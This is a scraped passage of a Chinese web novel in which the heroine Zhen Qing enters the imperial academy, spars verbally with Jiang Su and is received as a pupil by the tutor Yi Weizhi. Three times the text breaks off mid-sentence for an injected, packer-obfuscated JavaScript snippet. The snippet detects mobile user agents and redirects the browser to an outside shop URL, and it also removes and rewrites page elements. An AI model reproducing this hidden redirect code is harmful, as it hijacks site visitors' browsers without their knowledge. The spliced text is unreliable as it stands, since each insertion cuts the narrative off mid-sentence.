江诉慢条斯理地拂去腰间穗子,别有深意道:“就算你上一世曾利用过义宁,拿走他的毒药下在枕清身上,也不必害怕,只要我不说,在这个世上,没有第三个人会知道,当然枕清也不会记恨着你,陆小娘子依旧可以和县主做朋友,至于你做过的亏心事,在这一世里,也可以安心了。” 陆佑善皱眉,看着身旁如同清风拂面,大方远走的身形,才慢慢回过神。 他这是什么意思? 替自己隐瞒? 陆佑善察觉不对,忽地朝四周探看,并未发现不对劲的地方。 待陆佑善出了府,躲在墙角的义宁思绪错乱地走了出来。 好像之前所有不明白的事情,都有了开口的地方。 原来是他造成枕清活不成,死不了。 一切都是他的原因,他才是罪魁祸首。所以枕清是恨他吗? 觉得这件事是他做的吗? 那日和枕清的话历历在目。 “慢性的,除非是那人自己配置的,想要对方痛苦挣扎的死去,又明确知道对方必死无疑,自己无药可医。” 枕清问:“那你说给药的人是很恨那个人吗?” “也不是吧。既然要恨,我觉得当然是当场毙命才好。我倒是觉得下这药的人,大概是痛恨极了,却又不舍得,于是大家都痛苦的活着好了。” “那你会是这样的吗?” …… “我就是想不通一件事情,所以来问问你。” “什么?” “现在想通了。” “现在想通了……”义宁看着天边落下的夕阳,恍恍惚惚地回到自己的小院子里,瞧着满园的草药,他突然拧眉,药箱子从肩上滑落。 这一刻,他的心也跟着箱子坠落。 他心中生出憋屈和气愤,无处发泄,于是他将那片苦心种植的草药拔了个干净,最后仰躺在一片杂乱无章的草堆里。 明明全部都清理干净了,可为什么心里不能和这院子一样清净呢? 他喃喃道:“为什么……” 清晨曙光初现,在庭院中央洒下点点光斑,青瓦朱墙,水波荡漾。 枕清摆了摆自己桌案上的本子,朝不远处打扫的宁千渝道:“你过来,先把这些都摘抄下来。” 宁千渝走前,垂眸望着前日江诉留给枕清的册子,眼睫微微颤动,在疑惑中抬眼,又在枕清探来的目光中紧张垂下。 最后,她轻轻问道:“这不是江中丞留给县主的吗?要是被发现字迹不一样,那该怎么办呀?” “被发现就被发现呗,那还能怎么办呐?”枕清笑着逗她道,“难不成我将你供出去,让你替我挨打骂吗?” “也不是不行。” 宁千渝抬起脸,皱起眉眼,又小声道:“可是江中丞真的会打骂人吗?他看起来很温和亲近。” 枕清乐了,道:“当然会啦!你可不要把他想得太好,到时候真的惹到他了,死的第一个人不是你,就是我了。” 彼时的江诉踏进门来,朝枕清走近,“县主又在编排我什么呢?” 枕清瞧着越来越近的人,面不改色道:“我说中丞大人是最好的人了!” “朝中官位中丞的不止我一人,县主口中的中丞大人指的又是谁?” “远在天边,近在眼前。当然是你了!” 枕清重复道:“我说的是你,江诉,江来听。” “你说的话,有几分真,又有几分假。”江诉唇角带笑,俯下身子凑近枕清。 屋外的盛阳照进屋内,透过木阁窗棂折射出一条条可见的光束。江诉身形修长高挑,他一俯身,便拦下枕清身前一片的光,随之笼罩而来的便是巨大的阴影。 枕清感受到身前一片阴凉,缓缓抬眸。江诉低垂目光,他们在彼此的视线中看到了彼此在对方眼中的样子,很安宁,很奇妙,仿佛又落尽了某个春光里,感受到雨露恩泽,这阴影变成最好的遮挡,而眼前的人就成了最好的。 这一次,她没有说谎。 江中丞是最好的人。 在她不知道的那些年里,江诉为她,为了枕家平反了很多、很多次。 枕清身子往后靠,率先移开眼,视线落在他某一块的青色衣料上,开口道:“如果你信那就是真的,不信那便是假的,多么简单的事情,江中丞不会为这么简单的事情所困扰吧。” “大家都是普通人,会为事情困扰很正常。”江诉看着撇过脑袋的枕清,她肩膀两侧垂落大片长发,使得苍白倔强的小脸更瘦弱,也更叫人怜惜。 他心中顿感空荡,手却移到前日留下的册子上,叹息一声,缓缓道:“是你把我捧得太高了。” “我有吗?”枕清唇齿轻碰,声音渐弱,余光注意到江诉拿起的册子,忽地看向宁千渝,发现宁千渝看到她追寻过来的目光,一个转身离开。 那背影称为落荒而逃也不为过。 枕清:…… 枕清整理好自己错乱地视线,感知到身上的人缓缓在身前移开,她抿了抿唇道:“江中丞今日不上朝吗?我可不记得你今日休沐。” “不上朝了,休息两日。圣上仁慈,体恤下官。”江诉说了几句场面话,“那你呢?你和你的小丫头,又说了我什么?” 枕清皮笑肉不笑道:“不是已经告诉过你了,说你是最好的人呀。” “那我出去问问,看看你们的口径是否一致。” “江诉,逗人好玩吗?” “好玩。” “幼稚!” 见枕清气鼓鼓的不说话,江诉也只微微一笑,却不自觉将视线往下移,轻声问:“还疼吗?后面的伤口。” 枕清没好气道:“当然,倘若你被刺一刀,你看看你疼不疼。” 可能真是疼着了,说话已经没了个轻重,也没了往日的形象,好像就是寻常家会生气会闹变扭的小娘子,不再是高高在上的皇后殿下,也不是浸在仇恨中的女郎。 是有人疼爱,可以随意洒脱的女娘。 江诉失笑道:“好,疼,那我去给你拿点药?” 他一笑,就像是世间最清爽的风,最澄净的天,最漂亮的花,还有一点她都能察觉到包容,这所谓的包容,也单单只对她一人。 这样的感觉,太叫人错楞了。 枕清失神片刻,摇完头后,又朝地面看着,像是在琢磨点惊天动地的东西来。江诉也不着急追,则是静静地翻开之前留下的书页。 看到整页的空白,他眉尾微微上挑,等着枕清的下一步,枕清并没察觉情况。 半晌后,枕清问:“江诉,你能不能带我去太学?” 良久没听到声响,枕清眉眼上挑,率先看到一只骨节分明的手,再掉进了那没有一点字迹的白页,她可是把江诉布置的抛掷脑后,一点没动。 上了这么多堂课,枕清讪讪地移开目光,江诉却不依不饶了,他笑问道:“我留给县主的东西,县主喂给了谁?” 那笑容绝非温柔和善,好似是被她给气笑了。 枕清道:“我记在心里了。” 这回江诉是真的切切实实被气笑了,他道:“既然如此,想必县主是记住了,那就等县主完完全全地写完了,再去太学吧。” “哦。”又是不同意的样子。 枕清懒洋洋应着,听到最后几个字,不可置信地抬眸看向江诉,她问道:“真的?” 江诉道:“真的。” 枕清唇瓣扬起笑容,和她心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665321|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的打算更近一步。 可她还是高兴的太早了。 原以为入太学是很快的事情,但她没想到最后难搞的依旧是江诉,她每写一篇江诉就找出她的改进点,好像入太学近在眼前,又像遥遥无期。 她十分怀疑是江诉在整她! 江诉每每问起是否疼时,她嗷嗷几声疼,将所有不满的情绪都铺露在脸上和声音里。 有一天她十分认真地问江诉:“我明明已经将你所说的东西全部写完了,为什么还不让我去太学!你是不是故意的?报复我上一世……” “没有。”江诉反驳道,“我既不恨也不怨,县主与其耗费时间与我争执,不如先写,这处还有问题。” 枕清瞧着硬的来不了,于是道:“江诉,我腰疼,头也疼。” 连日来,不停歇地翻阅书籍,就算是没头疼,也要头疼了。 江诉妥协道:“我改,到时你再温习一遍。” 枕清得逞,当即一个转身看向窗外,净眼净心,可曲起食指敲打在窗格上的动作,难以掩饰她心中的焦躁不安。 时间不多了。 笃笃笃的敲打声落在了江诉的耳中,他看向浸在盛阳里的枕清。 她撑着手懒懒地托着下巴,眉眼虽是舒展,却也挡不住几许忧愁,紧致上翘的鼻子划出一个弧度,勾勒出几分安逸,紧抿的唇瓣紧绷着。她曲起食指敲打的动作毫无规律,像是错乱的思绪。 她在着急,很着急。 这么清风疏朗的天气也吹不走她的情绪。 江诉搁下笔,缓缓道:“县主在急什么,这不是还有我吗?” 闻言,枕清睁开眼,入目亮丽的景致在睁眼的那瞬间一片恍惚,就连她的心神也跟着晃荡,在看清安宁的风景后,心也跟着平稳下来。 她觉得可笑,有他又能怎么样,说得好似他能一直帮她,而她能对江诉毫无保留地倾诉似的。 可是江诉真的没有帮过她吗? 是有的。 只是......她不敢信。 枕清耸了耸肩,脸上的神情并不正经,她笑嘻嘻地问道:“江中丞,你会帮我吗,一直一直帮我吗?” 江诉认真望着她,轻声道:“我会。” 枕清侧过脸,她有那么一刻恍惚,好像心里有什么东西被一点点敲开,这样的敲动并非是蛮力被迫为之,更像是她自己自愿的。 她本想继续维持假惺惺地笑,可唇角忽然抬不起来,于是她不笑了,露出原本的样子。 “如果我做的事情不好呢,有可能误入歧途,就连我自己也不知道……不知道那样是对还是错,江中丞也会帮我,站在所有人的对立面帮我吗?” 就好比禹王,她杀了禹王,可是依旧有很多百姓爱戴禹王,觉得禹王是个顶顶好的人。 而她为了一个从来不记得的枕家杀了禹王,杀了一个养她那么多年的人,有错吗? 枕清轻轻一笑,忽地叹息,笃定道:“我想,你不会的。” “世间万物的对错对于每个人而言,没有一个特别的绝对性,如果你真的做错了。”江诉也转过脸,望着她道:“那么,我会在你误入歧途前,拉住你。” 前日禹王的话犹如在耳畔。 禹王略有怅意道:“沿溪的性格执拗,太容易固执己见。来听,在将来的某一天,我需要你来拉住她。” 江诉声音低荡温和:“下官会的。” 这日后,江诉一如既往地问起她疼不疼,她说了句不疼,于是那天特别顺利,江诉果真放过了她,说可以入太学了。 后知后觉和江诉耗费了一月有余,回过神来想想,并非是江诉留着她不想让她去,而是想让她伤好了再去。 这一刻,枕清觉得自己像是被江诉用心浇灌的花,其中耗费许多精力,可是他并不说,待自己察觉后,那股情绪在胸腔中,如同崩流,顺势而下,势不可挡。 30. 秋山海远杳千重(五) 太学很大,占地有百亩,分很多个院门,人数也众多,所有门生都有统一佛青色的服饰。枕清拿到衣服的时候,还看了好一会的衣服,走在前面的博士时不时回头瞧上一眼枕清,跟她提醒道:“太学离不管你的家世、样貌,大家同等对待、吃住一致。” “好,门生记下了。”枕清嘴上应得好,心里却是一点也不信。 大启的学堂不止有太学,还有四门学、律学、书学、算学。 别看都是学校,这里面也有极大的差别,入学也和学生祖父官爵有关。 例如太学和四门学,分别是七品以上的官僚子弟,至于律学、书学、算学,则是面向八品以下子弟及庶人。 和她说什么同等对待,要是家中没点权势,连太学的边都摸不着。 枕清看着自己手中的衣饰,又摸了摸材质,也算是上乘的布料,或许这太学的初心是好的,若是真有特别富足的富家子弟腰间挂满玉坠,又穿着名贵绸衣,也叫人不敢招惹和小瞧,或许连带着太学的风气也被带坏了一遭。 “在太学里的学生可享受供膳,但要向老师行‘束’之礼。”走在前方的博士停下,回过头看向枕清。 枕清见人停住,她抱着衣服也跟着停下,唇角微微带笑,示意博士继续说。 那博士问:“这个礼节你可知道?是学生与老师初次见面时敬奉的礼仪。太学里,需要送绢三匹,当然也会有酒肉,量力而行。” 枕清点点头,问道:“此目的是为何?” 博士解答道:“目的是密切师生关系。” 枕清听罢,微微一笑,去一个小房间换了一身衣服,找到一个空处的角落里坐下。 教学桌椅摆放四四方方,在中间分了一条宽敞过道,左右两边各有三列,共有六列。 左右两边皆是对立而坐,博士立于中间宽敞过道,来来回回行走着,眼下的学生看得分外清明。 枕清撑着手,瞄了眼旁边的人,底下的坐垫极为薄,像是直接坐在地上一般,寒冷直接透过坐垫透到心里。 好在当下是闷热的小暑天,也不会觉得寒凉,倒觉得热气十足,她换了个方向,从她这个方向看,还能看到外边的荷花池冒出汩汩不息的白色雾气。 课堂里的光彩照人,坐在后边的人儿双手趴伏在桌面上,脑袋埋在臂膀中,在这小暑天里昏昏沉睡,前方的博士捧着书本,朗声讲解。 枕清留意四周的人,既有认识的老熟人,也有不认识的陌生面孔,她最后的目光停留在角落里的人。 那人坐姿端正,目光投向讲课的博士,脸上的神情看起来炽热又认真,桌面上是密密麻麻的字迹铺展开来。 许昭玥的表弟——郁华隐。 记得上一世的帝师曾评价过郁华隐,郁郁不得志,隐匿终生。 可他最后还是在朝堂上大放异彩,众人纷纷改了言辞,道他华而有光彩,隐而沉稳,年轻有为,不骄不躁,是为千里马。 千里马。 可不得有伯乐才行吗? 枕清敛回目光,淡淡垂下鸦睫。 忽然有一道目光聚焦在她身上,枕清察觉到那抹视线,寻着来处望去,看到了在瞧她的谢家二郎谢长均。 那目光不似打量,也不像有新人来的好奇,就像是看出了她的模样和身份,出奇地温和有礼,甚至在她看过来,两方对视时,朝她浅浅一笑。 枕清觉得莫名,除了上一回在马车上有过一次交集,她和谢长均似乎没有其他的接触。 或许外边太阳太盛,谢长均的脸颊泛起两片红晕,看起来像是喝了一壶酒水,眼神透出水的光泽,整个人浮起微醺的醉意。 枕清怕太引人注意,也只是温和有礼地笑了一笑,立即撇开眼看向眼前的博士。 许是新来的缘故,不多时,左右两边的人开始上下打量起了枕清来。 枕清目光落在前端,并不在意,时而抬眸时而垂首,时而自顾自地提笔画了画。 一旁的人挤眉弄眼,打量着今日才来的人,待博士说下课后,才敢哼哼唧唧道:“来了个人,你是哪家小子?” 枕清奇怪抬眼,看向第一个找她搭话的人,又敛回目光,正思索如何回答,那人却以为她没听见,于是又重复问道:“你家大人是谁?官位几品啊?” “我家大人?”枕清喃喃反问。 那郎君如同捣蒜般点头,枕清抬眼瞧着不远处的博士,以及不知道何时在外边和其他博士们攀谈起来的江诉。 江诉踩着拱圆的桥阶,缓缓拾级而上,在拱桥的最高点,掀起一阵略小的清风,步履从容而下,一身深暗红色官服,在一群白衣中极为醒目,他穿过层层叠叠的景色中,愈发衬得雅人深致。 一群博士将他团团围在中间,他既没有错乱自己的步伐,也没有显露半点烦躁的意图,而是挂着淡淡的笑容,通身透着亲近温和,又极为有耐心和条理地回答各种问题。 课堂里有不少的学生蠢蠢欲动,兴致勃勃地探出脑袋去看,在博士扫过来的视线里,不约而同地收敛了神色,在自己的位置上正襟危坐。 这番大动作恰似惊动了江诉,江诉的视线移过来,看到枕清后,唇瓣的笑容依旧浅浅,唯独眼中的笑意深了些许,然后大步地朝她这处走来。 枕清听到身旁人的催促声,又看着迈向她的江诉,她收敛起笑容。 这太学是江诉带她过来,那么她家大人的话...... 说江诉倒也没什么问题。 枕清压平桌面上的纸页,道:“我家大人官居五品,是为中丞。” 那郎君表情多变,中丞大人? 他们喃喃道:“是吏部的?可是他不是只有一个还在襁褓的儿子吗?难不成户部的?可是那老头的儿子都已经坐在着太学里头了,其他的也没听说,还是刑部的......江中丞那么年轻,怎么可能会有你这么大的孩子呢!” “就是江中丞。”枕清停止他们的猜测,“他带我来的。” “你竟然是他的弟弟?我还以为江中丞都是独来独往孤身一人,好在还有个亲人,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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到底是怎么样的身份,是敌是友,是恨是爱,是有永远不可打破的隔阂,还是亲密无间的知情者,亦或者是不可诉说的...... 枕清眼中带着轻佻玩味的笑意,江诉看清了,他也跟着微微一笑,并没有在众人面前说这些,只道:“走吧,你阿耶还在等你。” 没有在外人面前非要个结果,枕清听罢,也没继续逼着追问。 他们一同迈出门去,四周都是高墙屋瓦,满墙的藤曼爬上高墙,错落复杂。 待走到没有人的空旷之地,江诉这才道:“县主觉得我是你的谁?” 枕清停下脚步,江诉也跟着停下。 “在太学里,我就是江中丞的远房表弟;在王府里,你就是我的先生;在上一世的身份里,你是臣子,我是皇后。”枕清缓缓走近他身前,“至于现在,你依旧是中丞大人,而我是县主。论品级,我是二品,你五品,我大你三级,所以你觉得,我会觉得你是我的谁呢?” 31. 秋山海远杳千重(六) 日头正盛,枕清步步压近,近到只有一步之差,江诉未动一步,仿若任凭她肆意索取都不会动一下。 枕清倏地轻笑一声,却没有再开口说话,而是深深瞧了他一眼,利落地转身离开。 换作旁人被这般说,指不定要恼羞成怒,觉得枕清在故意压人一头,江诉并没觉得有什么不妥或是不满而憋屈,他也觉得枕清说的是实话,从容一笑,见枕清走远的背影,亦步亦趋地跟上。 枕清察觉身后那一道跟随着的影子,她沉思许久,忽然开口道:“我会脱离县主这个身份。” 话音落下,枕清一直没听到身后的声响,原以为江诉没在听,抑或听到了不好作答,她正想把其他的话吞进肚子里,没想到江诉在后边说了一句:“好。” 原本要被吞进去的话,又因为这一句“好”,慢慢地、一点点地爬了出来,梗在喉间。 枕清动了动唇,欲言又止,她最后还是问了。 “你不觉得可惜?” 江诉温和道:“你不喜欢,那就不可惜。” 枕清弯了弯唇,有意慢下脚步等江诉同她并行,待人完全跟了上来,她偏头道:“我想,所有人都会劝我,只有你。你会觉得我很蠢吗,为了心中一点安宁,放弃荣华富贵。” “不会。你很好。”江诉清冽的声音滚在炽热的暖阳中,并不让人觉得焦灼,反倒是化解了此时的闷热。 枕清心绪不自觉地被牵引着,她缓缓看向江诉,江诉好似早知道她会遁寻视线,而他早早准备迎上她的目光。 衣角被滚热的风轻轻吹拂,脸颊浮起热汗,整个人都是燥热的,但唯独被那样一双温柔的双眸注视着,好像沉进了和煦的春风里,令人心旷神怡。 她已经很久没看到过江诉事不关己高高挂起的模样,眼神也不再同以前那般透着怜悯,实则冷漠无情。 现在的江诉,好像把她全心全意地装在眼里。 心里吗? 居然蹦出这样荒诞不经的想法,仿若是在三更半夜里见太阳,叫她觉得荒唐,心里颇有不自在,于是撇过脸,看向前方宽敞大道。 她倏地喊道:“江侍郎。” 江诉垂眸,下颌微微侧着,却始终没有偏过脑袋,他敛回目光,轻轻地回道:“枕小娘子。” 明明已经换了一个称呼,江诉并不顺着常理而来。 枕清意外,挑眉道:“你为什么不喊我皇后殿下?” 江诉莞尔,温声道:“在我心里,你永远是枕小娘子。” …… 枕小娘子。 既不是高高在上的皇后殿下,也不是不属于她的县主位置,更不是身世飘零的浮萍野草,她只是她。 她只是她自己。 这条路离皇城外极远,好似有人陪着,便能走得极轻快些。 枕清迎着前边的烈阳,踩出一道道属于她的影子。她好像不得不承认,上一世并非是她一人造成这般局面,她并没有那么大的能力,若是真的再做到上一世的地步,她应当需要很多很多...... 枕清想通了事,正好也看见了王府的马车,她甚至还和王闻礼打了照面。 王闻礼一双眼睛异常漆黑,如同深不见底的深渊,他认真地看着枕清,从下至上打量着,还未多看,下一瞬间,枕清身后出现了另一道身影。 他的视线追寻而去,见到枕清身后的江诉。 是个从容淡雅的文客,这是王闻礼对江诉第一印象。 可是他对上江诉没有任何敌意,平淡无波的眸中,极其罕见地生出一点微妙的压迫。 这股压迫并不来源江诉的眼神,更不是自己的胆怯,而是江诉没有将他放入眼里的蔑视。 这蔑视并不容易察觉,很轻很淡,淡到让人习以为常他就是这样的人。 王闻礼略过江诉,独独望向枕清道:“小县主打扮成这般模样,叫人一瞬间认不出来了。” 认不出来了是假,有点奇妙才是真。 枕清勾了勾唇,她自己也知道自己就长得这般模样,再怎么装,在熟悉的人面前,依旧是能被一眼识破,好似也没必要再装什么,心里如是想,但也没失去礼数,她颔首点头跟王闻礼道了一声王长史。 她不动声色地朝身后的江诉靠近,甚至垂下的袖子衣料跟江诉身上的朝服细细摩梭,缠绵交织。 已经感知到那微妙的动作,枕清还想再往后退半步,江诉恰似知道她所想,先朝前走了一步,抬手触碰到她的肩膀,两人之间的距离瞬间变得亲密无比。 枕清侧过脖颈,一缕发丝顺着她的动作,轻飘飘落在江诉的手背上,枕清沉默地垂下眼睑。 夕阳西下,昏黄映出斜长的影子,刺亮的光模糊几人的容貌和神情,偶尔来的三两风,如同一场僵持,又似无声周旋。 枕清隐藏好自己的情绪,抬起小脸一笑,禹王倒是没注意小辈暗自交汇的眼神,而是关怀地问向枕清道:“太学好玩吗?可有什么新鲜玩意。” “读书上学有什么好玩的。”枕清说,“我还要行束之礼,是阿耶陪我去,还是我自己一人?” 禹王哈哈一笑,指着她身后那人:“你不是已经认作江诉为你的兄长了吗?那就让他陪你去吧!” “他怎么可以当我兄长!我也只是说笑罢了,江中丞这般模样的能人,是多少长安小娘子心目中郎君呢。”枕清表现急促,说完这句话,抬眸朝江诉含羞地笑了笑,那面容是少见的娇俏,好似真的有心仪江诉的意思。 那模样,在枕清脸上少见,但又像是真情流露。 江诉被算计中撞进这样的乡情里,他突然觉得也不是那么地难以接受。他低而缓地注视枕清,好似在说,只要你需要我,那你可以尽情的使用我。 江诉的目光坦然到让枕清心慌,好似她可以在江诉身上无穷无尽地索要,而彼时的江诉如同清澈见底的溪流,所有的东西一览无余。 枕清的鼻尖微酸,心脏变成了一株盛开的花,可那花太过茂盛,她还没凑近好好看一看花的样子,就已被香味萦绕一身。 因为王闻礼的存在,枕清颤抖的心堪堪兜住,没有将情绪外露地厉害,反倒是江诉自然碰了碰她垂落的发丝,在手中缠绕后再轻轻地帮她弯上发髻上,动作是极其温柔缠满。 王闻礼移开江诉的手落在枕清发梢上的视线,他跟禹王打了声招呼离开,离开前再次看了枕清和江诉一眼。王闻礼高居上位,长年克制隐忍,并不会因为这些事情而表露出失态的模样。 宫门外的马路宽敞,映出灿烂大道。 枕清抬眼看到正开始击鼓通知宵禁的侍卫,大步朝大理寺走去的罗长观,匆忙跟上的花明,与金吾卫交接的师坤尧,同人攀谈的禹王,捧书回府的郁华隐,已经远走的王闻礼,还有一直在她身旁的江诉。 枕清目不斜视地向前走了两步远后,回头望向江诉。 他站在金灿灿的盛阳里,满身披着余晖后的金光,唯独脸上落上半边阴影,却也不叫人觉得寒凉,好似无论是满身荣光还是一身破败灰暗,他都是他,那是怎么也抵挡不住的清润温和。 有他在,便能心安。 枕清弯了弯唇瓣,笑着道:“明日的行束之礼,有劳中丞大人了。” 她没有等待在原地听江诉的回答,而是轻盈地往前走,无论最后江诉的回答是什么,她都知道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665323|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江诉一定是应允的。 所谓行束之礼,是自古以来就有的,用于行拜师礼时弟子赠与老师的礼物,但江诉给她找的老师不是太学里的博士,而是江诉自己的老师,也是大启国的帝师——易为之。 虽说上一世枕清也是拜他为师,但这一次终归是和上一世不同,因为上一世是张宣晟逼着易为之来教习她,而这一次是看在江诉的面子上接纳她。 就是不知道这位帝师记不记得上一世的事情,如果真的记得,她和这位帝师的恩怨也颇深。 在上一世里,易为之觉得枕清孺子不可教也,而枕清觉得易为之顽固不化,他们两在当师徒的那些年里,在宫内也闹得鸡犬不宁、六畜不安。 枕清敛回思绪,捧上自己所送的腊肉和其余的东西后,易为之只是简单地看了两眼,垂下目光迟迟不肯接受,枕清不骄不躁地等着,不多时,她感觉自己身上轻松了不少,这才看向易为之。 而易为之却把枕清的头颅往下轻压,在她的束发上一圈一圈地缠绕丝带,淡淡道:“心绪变得开阔了许多,没那么焦躁了。” 这一刻,枕清才敢确定下来易为之是有上一世的记忆,方才晾晒她那么久,也只是磨一磨她的脾性。 感受到易为之在她头顶上的动作,枕清弯了弯唇瓣,压下声音道:“您收我为徒,还真是一如既往地不情愿啊,既然如此,又何必答应江诉呢?况且您这一大把年纪了,有人侍奉在您左右,你也该满足了吧,挑剔这个不成,挑剔那个不好,不免最后落得......” 易为之打断道:“你说的对,我是该满足了。” 倘若是在上一世,听到枕清的这番话,他早就被枕清气得脸红脖子歪,现在重新再看,也没必要那么置气,人在这世上走一遭,最后都是一样的归宿,何不把心胸放得开怀,让自己的路更加开阔,而不局限在别样的情绪里。 况且枕清她一个小辈,自己又何至于如此斤斤计较,只不过与旁人都不会有这般的跳脚模样,唯独遇上枕清。 那时的枕清直白地跟他说他坐到如今的位置,身边自然没什么真话,而她不一样,若是他再气成这样,那便是听不得真话了,到时候无一人敢对他说真话。 呵呵。 无一人敢对他说真话么? 他垂下目光,将丝带缠绕在枕清的束发上,枕清的睫毛犹如蒲扇扑闪,恰似在掩盖别样的思绪。 他的动作还未完,枕清却先开了口:“既然很多事情都已知晓,太傅这般的能人,理应懂得如何规避吧?比如去找阿之奎?” 易为之的手几不可察地一顿,他浑浊的目光在这一瞬间变得清明,仿佛长久糊涂的人突然开了窍。 他很轻地哼笑一声,缓缓完成最后的动作,淡淡地道:“你的眼线倒是甚多,没活到最后,谁又知道谁是最后赢家,又能如何规避呢?小县主倒是高看我这老头了。” “我竟瞧不出来太傅还妄想长生不老,况且,我可不敢低看太傅呢。”枕清揶揄完,侧过脑袋,目光落到站在不远处的江诉,在即将要和江诉对视上的那一刻,旋即移开目光。 她朝易为之面露微笑,彼时的二人看起来就是情深意厚的师徒,和谐融洽地共处。 在旁人看不清的地方,枕清又问:“你和阿之奎的关系,又和江诉有什么瓜葛,你们三者之间的关系,当真叫人看不清,既然我拜入了太傅门下,太傅可否为我指点一二?” 易为之给枕清调整好发梢,长叹道:“人的关系哪有这般复杂,无非就是有几两情谊,几两算计,还有几两不愿为人知的秘密。” “既是秘密,又是不愿,那我便不问了。”枕清低眸回道。 32. 秋山海远杳千重(七) 易为之明白像枕清这样的人只是嘴上说着不问了,心里依旧想知道个清楚。 在上一世里,枕清还是皇后时,将朝堂上藏污纳垢、尔虞我诈的事情自己看个清楚明白还不够,甚至还要把这些东西摆到明面上让大家一起难堪地看看,朝堂上没有任何一个人没被殃及到的,就连江诉也被折腾了一番,最后也被她驱逐出了长安。 群臣不满她却又害怕她,禹王愧疚她又溺爱她,张宣晟利用她却又纵容她,她身边的朋友都爱她、奉承她,似乎围绕着所有人的喜欢,可是他们的这份喜欢也要在她身上获取到她的东西。 她这般的人,喜欢对人使一点坏的小恶劣,却又不伤及根本,但又起到震慑的作用,能叫人消停一阵子。 这样的行径令人厌恶到牙痒痒,又没有到讳及到许多利益使人要斩草除根的地步,松弛有度。 易为之的唇角几不可察动了动,没再说话。 枕清察觉到了易为之的变化,她这才认真地去看眼前即将古稀的老人。 他身穿一袭竹青色襕袍衫,虽然有些许褪色,但是依然能够感受到它承载的时间年轮。枕清目光缓缓上移,停留在他的面庞,那面容上有深深浅浅的沟壑,刻满了岁月的痕迹,皮肤像陈年的玉一样,散发出淡淡的黄光。 他的眼睛好似有些浑浊,但和她对视上时,那一双眼睛变成了一滩深深的秋水,明亮而深邃,透出一种沉稳的力量,恰似在洞察这世间的一切。 枕清在这样的目光压迫下,忽而觉得自己的心绪跟着下坠,难以抵挡这样的视线,她猛地偏过脑袋望向江诉。 江诉站在不远处观望着她的一切,神态是一如既往地温柔。 这样状态下的江诉,与其说是观望,不如说是默默注视着她的一切,承接着她的不安和疑惑,以及给予她巨大的支撑点,来放肆自己的行径。 而人在逃避时,总会下意识去追寻能给足自己安全的那个人,这样的行为,是她自己都没办法隐藏的下意识。 所以,易为之在试探,在观察,在琢磨。 枕清忽地站起身,朝易为之怒目而视,易为之反而大笑,视线又变得浑浊不堪,仿佛方才的精神矍铄是假的,他依旧是快没入古稀的老人,什么都不知道。 笑声里是逗弄小娃娃后得逞的笑意,也是解答困惑的高兴。易为之不知道枕清到底是想知道阿之奎还是江诉,亦或是两者都想知道,方才这样的试探,他能看得出枕清对江诉的不同,这不同中还充满着对江诉的肯定和信任。 行束之礼结束后,枕清不再去看一眼易为之,也没和江诉打个照面,独自快步去往太学。 江诉瞧见易为之和枕清暗藏锋芒的微妙氛围,以及枕清在自己身旁飞快走过,没有一丝停留的打算,不免在心中小小地叹息了一声。 “师傅怎么又把她惹不高兴了?” “你这是在质问我?” 江诉道:“弟子没有,只是师傅说过,会与她好好相处的。” 易为之不动声色地凝望着他,然后乐了:“她那副牙尖嘴利的模样,你倒不用怕她吃亏,反倒是我这老人家需得小心才是。她身后既有禹王担待着,又有商震那样护犊子的人,还有你这样的人护着,你在这里朝我担忧个什么劲。” 看到江诉一副护犊子的模样,不免摇头失笑。 江诉走前几步,唇角克制地弯起轻轻的笑容,他知道师傅和枕清形势如水火,也明白同易为之方才是借着他的力来试探枕清。 是故意的,也是故意给他看的。 易为之抬手提起枕清方才送的腊肉,大步跨出门去,又在门槛上停留,回首道:“你看明白了?” 屋外白墙黛瓦,飞檐翘角,在阳光下闪闪发光,仿佛是一幅精美的古画。 江诉的微笑隐在逼仄深暗的阁间内,就连笑容也显得诡异又晦暗,语气依旧温和有礼:“明白了,也清楚了,多谢师傅指点。” 江诉身量修长挺拔,背对着他看不清面容,易为之纵观多年,怎会不明白他们心中所想,只得微微挑眉。 一个两个,都是不省心的徒儿。 接连几日都在太学里学习,枕清自请坐到后边,不太引人瞩目,但也不可避免地认识了不少人。 比如左边这位叫包启元,是吏部给事中的小儿子,初见时话多又密,一双弯起来的月牙眼看得人心里舒舒服服的。 这几日接触下来,枕清便深刻地察觉到人不可貌相,全然不会学习,就只知道吃喝玩乐,一到课后,就喜欢斗蛐蛐玩筛子,而运气奇差无比,突然有一天玩得顺溜了,就觉得后面有大招在等着自己。 果然,最后输完了,他心中舒坦了。 右边这位陈谷,也不是什么好鸟,既不认真学习,也不好好说话,经常说说枕清怎么和宁千渝一样都像个小娘子似的,每次到这时候,枕清表示无语,宁千渝一脸沉默。 